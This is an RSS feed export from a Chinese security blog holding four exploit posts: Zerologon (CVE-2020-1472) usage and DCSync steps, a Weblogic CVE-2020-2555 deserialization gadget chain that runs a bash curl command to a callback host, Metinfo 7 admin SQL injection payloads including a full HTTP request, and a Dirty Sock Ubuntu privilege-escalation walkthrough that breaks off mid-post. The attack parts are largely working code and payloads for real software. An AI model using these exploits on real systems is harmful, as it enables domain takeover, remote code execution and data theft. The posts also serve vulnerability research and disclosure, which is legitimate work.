<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>cve &#8211; ChaBug安全</title>
	<atom:link href="/tags/cve/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Tue, 15 Sep 2020 01:38:51 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>CVE-2020-1472 POC</title>
		<link>/tools/1865.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 15 Sep 2020 01:35:11 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[exp]]></category>
		<category><![CDATA[域渗透]]></category>
		<category><![CDATA[工具]]></category>
		<guid isPermaLink="false">/?p=1865</guid>

					<description><![CDATA[https://github.com/dirkjanm/CVE-2020-1472 Requires the latest impacket from GitHub with ad...]]></description>
										<content:encoded><![CDATA[<p>https://github.com/dirkjanm/CVE-2020-1472</p>
<p>Requires the latest impacket from <a class="wp-editor-md-post-content-link" href="https://github.com/SecureAuthCorp/impacket">GitHub</a> with added netlogon structures.</p>
<p>Do note that by default this changes the password of the domain controller account. Yes this allows you to DCSync, but it also breaks communication with other domain controllers, so be careful with this!</p>
<p>More info and original research <a class="wp-editor-md-post-content-link" href="https://www.secura.com/blog/zero-logon">here</a></p>
<h2>Exploit steps</h2>
<ul>
<li>Read the blog/whitepaper above so you know what you&#8217;re doing</li>
<li>Run <code><span class="wpcom_tag_link"><a href="/tags/cve" title="cve" target="_blank">cve</a></span>-2020-1472-<span class="wpcom_tag_link"><a href="/tags/exp" title="exp" target="_blank">exp</a></span>loit.py</code> with IP and netbios name of DC</li>
<li>DCSync with secretsdump, using <code>-just-dc</code> and <code>-no-pass</code> or empty hashes and the <code>DCHOSTNAME$</code> account</li>
</ul>
<h2>Restore steps</h2>
<p>If you make sure that <a class="wp-editor-md-post-content-link" href="https://github.com/SecureAuthCorp/impacket/blob/64ce46580286b5ab15a4737bddf85201ce2adde3/impacket/examples/secretsdump.py#L1530">this line</a> in secretsdump passes (so make it <code>if True:</code> for example) secretsdump will also dump the plaintext (hex encoded) machine account password from the registry. You can do this by running it against the same DC and using a DA account.</p>
<p>Alternatively you can dump this same password by first extracting the registry hives and then running secretsdump offline (it will then always print the plaintext key because it can&#8217;t calculate the Kerberos hashes, this saves you modifying the library).</p>
<p>With this password you can run <code>restorepassword.py</code> with the <code>-hexpass</code> parameter. This will first authenticate with the empty password to the same DC and then set the password back to the original one. Make sure you supply the netbios name and IP again as target, so for example:</p>
<pre><code class="line-numbers">python restorepassword.py testsegment/s2016dc@s2016dc -target-ip 192.168.222.113 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3...etc
</code></pre>
<p><img src="/wp-content/uploads/2020/09/8024de24-ca3f-e0f9-2821-a65231c2896e-3.png" alt="image.png" /></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Weblogic CVE-2020-2555 反序列化RCE EXP构造</title>
		<link>/audit/1334.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 11 Mar 2020 03:22:42 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[weblogic]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1334</guid>

					<description><![CDATA[Weblogic 简直是个无底洞. 2020.03.06 早上4点，看到了清水川崎师傅推送了Weblogic CVE-2020-2555的通告，在推特上搜了一波，发现有详细的分析文...]]></description>
										<content:encoded><![CDATA[<p>Weblogic 简直是个无底洞.<br />
<span id="more-1334"></span></p>
<p>2020.03.06 早上4点，看到了清水川崎师傅推送了Weblogic CVE-2020-2555的通告，在推特上搜了一波，发现有详细的分析文章，遂有此文。</p>
<h2>漏洞分析</h2>
<p>个人研究，没钱买补丁，这里借用<a class="wp-editor-md-post-content-link" href="https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server">Zero Day</a>的图。</p>
<p><img src="/wp-content/uploads/2020/03/20200310118799-1.png" alt="image" /></p>
<p>补丁中将<code>LimitFilter</code>类的<code>toString()</code>方法中的<code>extract()</code>方法调用全部移除，而我们需要知道在<a class="wp-editor-md-post-content-link" href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java">CommonsCollections5</a>中可以利用<code>BadAttributeValueExpException</code>来调用任意类的<code>toString()</code>方法。</p>
<p>接着来看下没打补丁之前<code>LimitFilter</code>类的<code>toString()</code>方法。</p>
<pre><code class="language-java ">public String toString() {
    StringBuilder sb = new StringBuilder("LimitFilter: (");
    sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage);
    if (this.m_comparator instanceof ValueExtractor) {
        ValueExtractor extractor = (ValueExtractor)this.m_comparator;
        sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom));
    } else if (this.m_comparator != null) {
        sb.append(", comparator=").append(this.m_comparator);
    }

    sb.append("])");
    return sb.toString();
}
</code></pre>
<p><code>toString()</code>中会将<code>this.m_oAnchorTop</code>和<code>this.m_oAnchorBottom</code>作为参数传入<code>ValueExtractor.extract()</code>，补丁移除了<code>extractor.extract()</code>操作，跟进<code>extract()</code>看下，发现<code>extract()</code>只是一个抽象方法，并没有实现，那说明<code>extract()</code>在<code>ValueExtractor</code>的子类中可以利用。因为是<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>，所以我们只需要在<code>ValueExtractor</code>子类中找到实现了<code>Serializable</code>或者<code>ExternalizableLite</code>反序列化接口并且有<code>extract()</code>的方法。最终在<code>com.tangosol.util.extractor.ReflectionExtractor#extract()</code>找到了反射任意方法调用。</p>
<pre><code class="language-java ">public E extract(T oTarget) {
    if (oTarget == null) {
        return null;
    } else {
        Class clz = oTarget.getClass();

        try {
            Method method = this.m_methodPrev;
            if (method == null || method.getDeclaringClass() != clz) {
                this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), ClassHelper.getClassArray(this.m_aoParam), false);
            }

            return method.invoke(oTarget, this.m_aoParam);
        } catch (NullPointerException var4) {
            throw new RuntimeException(this.suggestExtractFailureCause(clz));
        } catch (Exception var5) {
            throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')');
        }
    }
}
</code></pre>
<p>到现在为止我们可以传入一个<code>Runtime.getRuntime()</code>的<code>oTarget</code>，将<code>this.m_methodPrev</code>赋值为exec，然后<code>this.m_aoParam</code>就是我们的命令参数，就可以RCE了。而对于反序列化而言，我们需要继续构建对象，让他自己执行<code>Runtime.getRuntime()</code>，这里很像cc链中的<code>InvokerTransformer.transform()</code>，那有没有像cc链中的<code>ChainedTransformer</code>类呢。遂找到了<code>com.tangosol.util.extractor.ChainedExtractor#extract()</code></p>
<pre><code class="language-java ">@JsonbCreator
public ChainedExtractor(@JsonbProperty("extractors") ValueExtractor[] aExtractor) {
    super(aExtractor);
    this.m_nTarget = this.computeTarget();
}
public E extract(Object oTarget) {
    ValueExtractor[] aExtractor = this.getExtractors();
    int i = 0;

    for(int c = aExtractor.length; i &lt; c &amp;&amp; oTarget != null; ++i) {
        oTarget = aExtractor[i].extract(oTarget);
    }

    return oTarget;
}
</code></pre>
<p>和cc5的构造很像，我们一步一步构造下</p>
<pre><code class="language-java ">// Runtime.class.getRuntime()
ReflectionExtractor extractor1 = new ReflectionExtractor(
    "getMethod",
    new Object[]{"getRuntime", new Class[0]}

);

// get invoke() to execute exec()
ReflectionExtractor extractor2 = new ReflectionExtractor(
    "invoke",
    new Object[]{null, new Object[0]}

);

// invoke("exec","calc")
ReflectionExtractor extractor3 = new ReflectionExtractor(
    "exec",
    new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}}
);
</code></pre>
<p>首先先构造三个<code>ReflectionExtractor</code>对象来调用反射拿到我们想要的，然后把他放到<code>ReflectionExtractor</code>数组中，将数组通过构造函数赋值给<code>ChainedExtractor</code>。</p>
<pre><code class="language-java ">ReflectionExtractor[] extractors = {
    extractor1,
    extractor2,
    extractor3,
};

ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
</code></pre>
<p>那到目前为止，只要反序列化执行了<code>chainedExtractor.extract()</code>就可以造成<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>。而前文所说，<code>toString()</code>中是执行了<code>extract()</code>的，所以我们将<code>chainedExtractor</code>通过反射赋值给<code>limitFilter</code>对象。然后通过<code>BadAttributeValueExpException</code>触发<code>limitFilter</code>对象的<code>toString()</code>，进而触发<code>extract()</code>一步一步调用<code>method.invoke()</code>，继而通过反射拿到<code>Runtime.getRuntime().exec("")</code>，达成RCE。</p>
<h2>坑</h2>
<ol>
<li><code>coherence.jar</code>要使用和目标版本一致的，不然会有<code>serialVersionUID</code>不一致的问题。</li>
<li><code>BadAttributeValueExpException</code>对jdk的版本有要求。具体看<a class="wp-editor-md-post-content-link" href="https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70">这里</a></li>
</ol>
<h2>漏洞利用</h2>
<p>https://github.com/Y4er/CVE-2020-2555</p>
<p><img src="/wp-content/uploads/2020/03/20200310119395-1.gif" alt="" /></p>
<h2>参考</h2>
<ol>
<li>https://www.zerodayinitiative.com/blog/2020/3/5/<span class="wpcom_tag_link"><a href="/tags/cve" title="cve" target="_blank">cve</a></span>-2020-2555-rce-through-a-deserialization-bug-in-oracles-<span class="wpcom_tag_link"><a href="/tags/weblogic" title="weblogic" target="_blank">weblogic</a></span>-server</li>
<li>https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR76</li>
<li>https://github.com/frohoff/ysoserial/blob/master/src/main/<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>/ysoserial/payloads/CommonsCollections5.java</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Metinfo7 后台注入及一些tips</title>
		<link>/audit/1014.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 06 Oct 2019 13:06:06 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[metinfo]]></category>
		<category><![CDATA[sql]]></category>
		<guid isPermaLink="false">/?p=1014</guid>

					<description><![CDATA[很可惜是个后台的注入 跟汤姆表哥再搞创宇的年度任务🤒，昨天发了metinfo6.2.0的组合拳，今天看了看官网有最新版的7.0，就下下来看了看，发现两枚注入，而且昨天的组合拳增加了...]]></description>
										<content:encoded><![CDATA[<p>很可惜是个后台的注入</p>
<p>跟汤姆表哥再搞创宇的年度任务🤒，昨天发了<span class="wpcom_tag_link"><a href="/tags/metinfo" title="metinfo" target="_blank">metinfo</a></span>6.2.0的组合拳，今天看了看官网有最新版的7.0，就下下来看了看，发现两枚注入，而且昨天的组合拳增加了后缀校验，绕不过去了，呜呜呜。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/sql" title="sql" target="_blank">sql</a></span> injection 1</h1>
<p>全局搜索<code>where</code></p>
<p>app/system/parameter/include/class/parameter_op.class.php:165</p>
<pre><code class="language-php ">public function paratem($listid = '',$module = '',$class1 = '',$class2 = '',$class3 = ''){
    global $_M;

    $paralist = $this->get_para_list($module,$class1,$class2,$class3);
    foreach ($paralist as $key => $para) {
        $list = $this->parameter_database->get_parameters($module,$para['id']);
        $paralist[$key]['list'] = $list;
        if($para['type'] ==4 || $para['type'] ==2 || $para['type'] ==6){
            $values = array();
            foreach ($list as $val) {
                $query = &quot;SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND info = '{$val['id']}' AND lang = '{$_M['lang']}'&quot;;
                $para_value = DB::get_one($query);
                if($para_value){
                    $values[] = $para_value['info'];
                }
            }
            $query = &quot;SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'&quot;;
            $para_value = DB::get_one($query);
            $values = $para_value['info'];
        }else{
            $query = &quot;SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'&quot;;
            $para_value = DB::get_one($query);
            $values = $para_value['info'];
        }


        if(is_array($values)){
            $paralist[$key]['value'] = implode('|', $values);
        }else{
            $paralist[$key]['value'] = $values;
        }
    }
    return $paralist;
    ##require PATH_WEB.'app/system/include/public/ui/admin/paratype.php';
}
</code></pre>
<p>发现<code>{$listid}</code>直接被拼接进sql语句，且<code>listid</code>是函数直接传进来的参数，搜索哪些函数调用了这个函数</p>
<p><img src="https://y4er.com/img/uploads/20190928221736.png" alt="20190928221736" /></p>
<p>app/system/product/admin/product_admin.class.php:171</p>
<pre><code class="language-php ">public function dopara() {
    global $_M;
    if($_M['form']['app_type']=='shop'){
        $class1 = $_M['form']['class1'];
        $class2 = $_M['form']['class2'];
        $class3 = $_M['form']['class3'];
        $paralist = $this->para_op->paratem($_M['form']['id'],$this->module,$class1,$class2,$class3);
        require PATH_WEB . 'app/system/include/public/ui/admin/paratype.php';
    }else{
        parent::dopara();
    }
}
</code></pre>
<p><code>$_M['form']['id']</code>可控，那么sql语句就可控。</p>
<p>payload</p>
<pre><code class="">http://php.local/admin/?n=product&amp;c=product_admin&amp;a=dopara&amp;app_type=shop&amp;id=2 union SELECT 1,2,3,user(),5,6,7 limit 5,1  -- +
</code></pre>
<h1>sql injection 2</h1>
<p>app/system/language/admin/language_general.class.php:108</p>
<pre><code class="language-php ">public function doget_admin_pack($appno,$site,$editor)
{
    global $_M;
    $sql = $appno ? &quot;AND app = {$appno}&quot; : '';
    $language_data = array();
    if ($site == 'admin') {
        $query = &quot;SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='1' {$sql}&quot;;
        $language_data = DB::get_all($query);
        $lang_pack_url = PATH_WEB . 'cache/language_admin_' . $editor . '.ini';
    } else if ($site == 'web') {
        $query = &quot;SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='0' {$sql}&quot;;
        $language_data = DB::get_all($query);
        $lang_pack_url = PATH_WEB . 'cache/language_web_' . $editor . '.ini';
    }

    foreach ($language_data as $key => $val) {
        file_put_contents($lang_pack_url, $val['name'] . '=' . $val['value'] . PHP_EOL, FILE_APPEND);
    }
}
</code></pre>
<p><code>$appno</code>直接拼接 当<code>site</code>等于web或者admin时造成sql注入</p>
<p>找下有没有调用这个函数传参的</p>
<p>app/system/language/admin/language_general.class.php:90</p>
<pre><code class="language-php ">public function doExportPack()
{
    global $_M;

    if (!isset($_M['form']['editor']) || !$_M['form']['editor']) {
        $this->error($_M['word']['js41']);
    }

    $editor = $_M['form']['editor'];
    $site = isset($_M['form']['site']) ? $_M['form']['site'] : '';
    $appno = $_M['form']['appno'] ? $_M['form']['appno'] : '';
    $filename = PATH_WEB . 'cache/language_' . $site . '_' . $editor . '.ini';

    delfile($filename);

    //获取后台语言包
    $this->doget_admin_pack($appno,$site,$editor);

    $filename = realpath($filename);
    header(&quot;&quot;);
    Header(&quot;Content-type:  application/octet-stream &quot;);
    Header(&quot;Accept-Ranges:  bytes &quot;);
    Header(&quot;Accept-Length: &quot; . filesize($filename));
    header(&quot;Content-Disposition:  attachment;  filename=language_{$site}_&quot; . $appno .'_'. $editor . &quot;.ini&quot;);
    //写日志
    $log_name = $_M['form']['site'] ? 'langadmin' : 'langweb';
    logs::addAdminLog($log_name,'language_outputlang_v6','jsok','doExportPack');
    readfile($filename);
}
</code></pre>
<p>看下代码，首先要传递参数<code>editor</code>跳出第一个if语句块，然后<code>site</code>和<code>appno</code>直接传入<code>doget_admin_pack()</code>函数，参数都可控，妥妥的注入。</p>
<p>payload</p>
<pre><code class="language-http ">POST /admin/?n=language&amp;c=language_general&amp;a=doExportPack HTTP/1.1
Host: php.local
Content-Length: 58
Origin: http://php.local/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=40d2af28a4c309bbb824dc957af59b11; arrlanguage=metinfo; re_url=http%3A%2F%2Fphp.local%2Fadmin%2F; met_auth=65acz4xG7IkP%2BqmPuO%2FIvPsKt4luK6Te34p%2F2BHXEosgKHUwk8dKQRHs7y4Ea9mCH1egudtuz%2Bl02L3eIhMLs7%2FDMw; met_key=PLBqK9J; page_iframe_url=http%3A%2F%2Fphp.local%2Findex.php%3Flang%3Dcn%26pageset%3D1
Connection: close

appno= 1 union SELECT user(),database()&amp;editor=cn&amp;site=web
</code></pre>
<p><img src="/wp-content/uploads/2019/10/20190928223704.png" alt="20190928223704" /></p>
<h1>组合拳</h1>
<p>在前文中提到了metinfo6.2.0配合注入getshell的姿势，但是在metinfo7.0中增加了后缀校验，无法getshell，很可惜。</p>
<p>app/system/include/class/web.class.php:757</p>
<pre><code class="language-php ">if (stristr($filename, '.php')) {
    jsoncallback(array('suc' => 0));
}
</code></pre>
<p>但是这个点仍然可以上传其他后缀的文件，通过这个点配合解析漏洞或者文件包含来getshell未免不可行。</p>
<p>想到了htaccess和.user.ini的同学别费力气了，写文件没办法换行，如果有师傅有新姿势，欢迎评论指点啊！</p>
<h1>总结</h1>
<p>metinfo7.0的注入实际上还有很多，不过很多都是delete型的注入，我在这里挑了两个回显的注入，欢迎师傅们补充交流。</p>
<p>CVE-2019-16997<br />
CVE-2019-16996</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304</title>
		<link>/web/648.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:05:54 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[ubuntu]]></category>
		<category><![CDATA[提权]]></category>
		<guid isPermaLink="false">/?p=648</guid>

					<description><![CDATA[在2019年1月，由于snapd API中的错误，多个版本的Ubuntu被发现本地权限提升漏洞。漏洞编号:CVE-2019-7304 漏洞原因 默认情况下，Ubuntu附带了sna...]]></description>
										<content:encoded><![CDATA[<p>在2019年1月，由于snapd API中的错误，多个版本的Ubuntu被发现本地<a class="tag_link" title="浏览关于“权限”的文章" href="/tags/%e6%9d%83%e9%99%90" target="_blank" rel="noopener noreferrer">权限</a><a class="tag_link" title="浏览关于“提升”的文章" href="/tags/%e6%8f%90%e5%8d%87" target="_blank" rel="noopener noreferrer">提升</a>漏洞。漏洞编号:CVE-2019-7304</p>
<h2 id="漏洞原因"><i class="iconfont icon-link"></i>漏洞原因</h2>
<p>默认情况下，Ubuntu附带了snapd，但是如果安装了这个软件包，任何发行版都应该可利用。运行以下命令，如果你<code>snapd</code>是2.37.1或更高，你是安全的。</p>
<div class="highlight">
<div class="chroma language-bash">
<div id="crayon-5d1fbcfbd557e978102573" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1fbcfbd557e978102573-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1fbcfbd557e978102573-2">2</div>
<div class="crayon-num" data-line="crayon-5d1fbcfbd557e978102573-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1fbcfbd557e978102573-4">4</div>
<div class="crayon-num" data-line="crayon-5d1fbcfbd557e978102573-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d1fbcfbd557e978102573-6">6</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1fbcfbd557e978102573-1" class="crayon-line"><span class="crayon-sy">$</span> <span class="crayon-e">snap </span><span class="crayon-e">version</span></div>
<div id="crayon-5d1fbcfbd557e978102573-2" class="crayon-line crayon-striped-line"><span class="crayon-i">snap</span><span class="crayon-h">    </span><span class="crayon-cn">2.34.2</span></div>
<div id="crayon-5d1fbcfbd557e978102573-3" class="crayon-line"><span class="crayon-i">snapd</span><span class="crayon-h">   </span><span class="crayon-cn">2.34.2</span></div>
<div id="crayon-5d1fbcfbd557e978102573-4" class="crayon-line crayon-striped-line"><span class="crayon-i">series</span><span class="crayon-h">  </span><span class="crayon-cn">16</span></div>
<div id="crayon-5d1fbcfbd557e978102573-5" class="crayon-line"><span class="crayon-i"><span class="wpcom_tag_link"><a href="/tags/ubuntu" title="ubuntu" target="_blank">ubuntu</a></span></span><span class="crayon-h">  </span><span class="crayon-cn">16.04</span></div>
<div id="crayon-5d1fbcfbd557e978102573-6" class="crayon-line crayon-striped-line"><span class="crayon-i">kernel</span><span class="crayon-h">  </span><span class="crayon-cn">4.15.0</span><span class="crayon-o">&#8211;</span><span class="crayon-cn">29</span><span class="crayon-o">&#8211;</span><span class="crayon-v">generic</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304" href="https://ws3.sinaimg.cn/large/006xriynly1g08cexg0p2j30e007xgmd.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ws3.sinaimg.cn/large/006xriynly1g08cexg0p2j30e007xgmd.jpg" alt="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304-ChaBug安全" /></a></div>
<h2 id="影响版本"><i class="iconfont icon-link"></i>影响版本</h2>
<ul>
<li>Ubuntu 18.10</li>
<li>Ubuntu 18.04 LTS</li>
<li>Ubuntu 16.04 LTS</li>
<li>Ubuntu 14.04 LTS</li>
</ul>
<h2 id="漏洞利用"><i class="iconfont icon-link"></i>漏洞利用</h2>
<p>poc链接：<a href="https://github.com/initstring/dirty_sock" target="_blank" rel="nofollow noopener noreferrer">https://github.com/initstring/dirty_sock</a></p>
<h3 id="方法一"><i class="iconfont icon-link"></i>方法一</h3>
<p>先在<a href="https://login.ubuntu.com/" target="_blank" rel="nofollow noopener noreferrer">Ubuntu SSO</a>创建账号，然后本地生成密钥：</p>
<div class="highlight">
<div class="chroma language-bash">
<div id="crayon-5d1fbcfbd5585536817907" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1fbcfbd5585536817907-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1fbcfbd5585536817907-1" class="crayon-line"><span class="crayon-v">ssh</span><span class="crayon-o">&#8211;</span><span class="crayon-v">keygen</span> <span class="crayon-o">&#8211;</span><span class="crayon-i">t</span> <span class="crayon-v">rsa</span> <span class="crayon-o">&#8211;</span><span class="crayon-i">C</span> <span class="crayon-s">&#8220;&lt;you email&gt;&#8221;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304" href="https://ws3.sinaimg.cn/large/006xriynly1g08cgaulzej30hj0azaav.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ws3.sinaimg.cn/large/006xriynly1g08cgaulzej30hj0azaav.jpg" alt="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304-ChaBug安全" /></a></div>
<p>然后把当前用户下<code>/.ssh/</code>目录下的<code>id_rsa.pub</code>（公钥）拷到你账户的<a href="https://login.ubuntu.com/ssh-keys" target="_blank" rel="nofollow noopener noreferrer">ssh-keys</a>中。</p>
<div class="post-image"><a class="fancybox" title="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304" href="https://ws3.sinaimg.cn/large/006xriynly1g08ch3uv9cj30k102xdgm.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ws3.sinaimg.cn/large/006xriynly1g08ch3uv9cj30k102xdgm.jpg" alt="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304-ChaBug安全" /></a></div>
<p>执行第一个poc</p>
<div class="highlight">
<div class="chroma language-bash">
<div id="crayon-5d1fbcfbd5588860736777" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1fbcfbd5588860736777-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1fbcfbd5588860736777-1" class="crayon-line"><span class="crayon-e">python3 </span><span class="crayon-v">dirty_sockv1</span><span class="crayon-sy">.</span><span class="crayon-v">py</span> <span class="crayon-o">&#8211;</span><span class="crayon-i">u</span> <span class="crayon-s">&#8220;you@yourmail.com&#8221;</span> <span class="crayon-o">&#8211;</span><span class="crayon-i">k</span> <span class="crayon-s">&#8220;id_rsa的路径&#8221;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="post-image"><a class="fancybox" title="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304" href="https://ws3.sinaimg.cn/large/006xriynly1g08cn43nhwj30qv0iqmzy.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ws3.sinaimg.cn/large/006xriynly1g08cn43nhwj30qv0iqmzy.jpg" alt="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304-ChaBug安全" /></a></div>
<p>出现错误，因为没有开启ssh服务。</p>
<div class="highlight">
<div class="chroma language-bash">
<div id="crayon-5d1fbcfbd558a167734691" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1fbcfbd558a167734691-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d1fbcfbd558a167734691-1" class="crayon-line"><span class="crayon-e">sudo </span><span class="crayon-e">apt </span><span class="crayon-e">install </span><span class="crayon-v">openssh</span><span class="crayon-o">&#8211;</span><span class="crayon-v">server</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<p>重新执行下</p>
<div class="post-image"><a class="fancybox" title="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304" href="https://ws3.sinaimg.cn/large/006xriynly1g08cyu12fvj30te0kxq5s.jpg" target="_blank" rel="box noopener noreferrer" data-fancybox="gallery" data-caption=""><img src="https://ws3.sinaimg.cn/large/006xriynly1g08cyu12fvj30te0kxq5s.jpg" alt="Ubuntu Dirty Sock 本地权限提升 CVE-2019-7304-ChaBug安全" /></a></div>
<p>如果成功，<code>sudo -i</code>即可获取root权限。</p>
<h3 id="方法二"><i class="iconfont icon-link"></i>方法二</h3>
<p>直接执行poc</p>
<div class="highlight">
<div class="chroma language-bash">
<div id="crayon-5d1fbcfbd558b933200399" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d1fbcfbd558b933200399-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
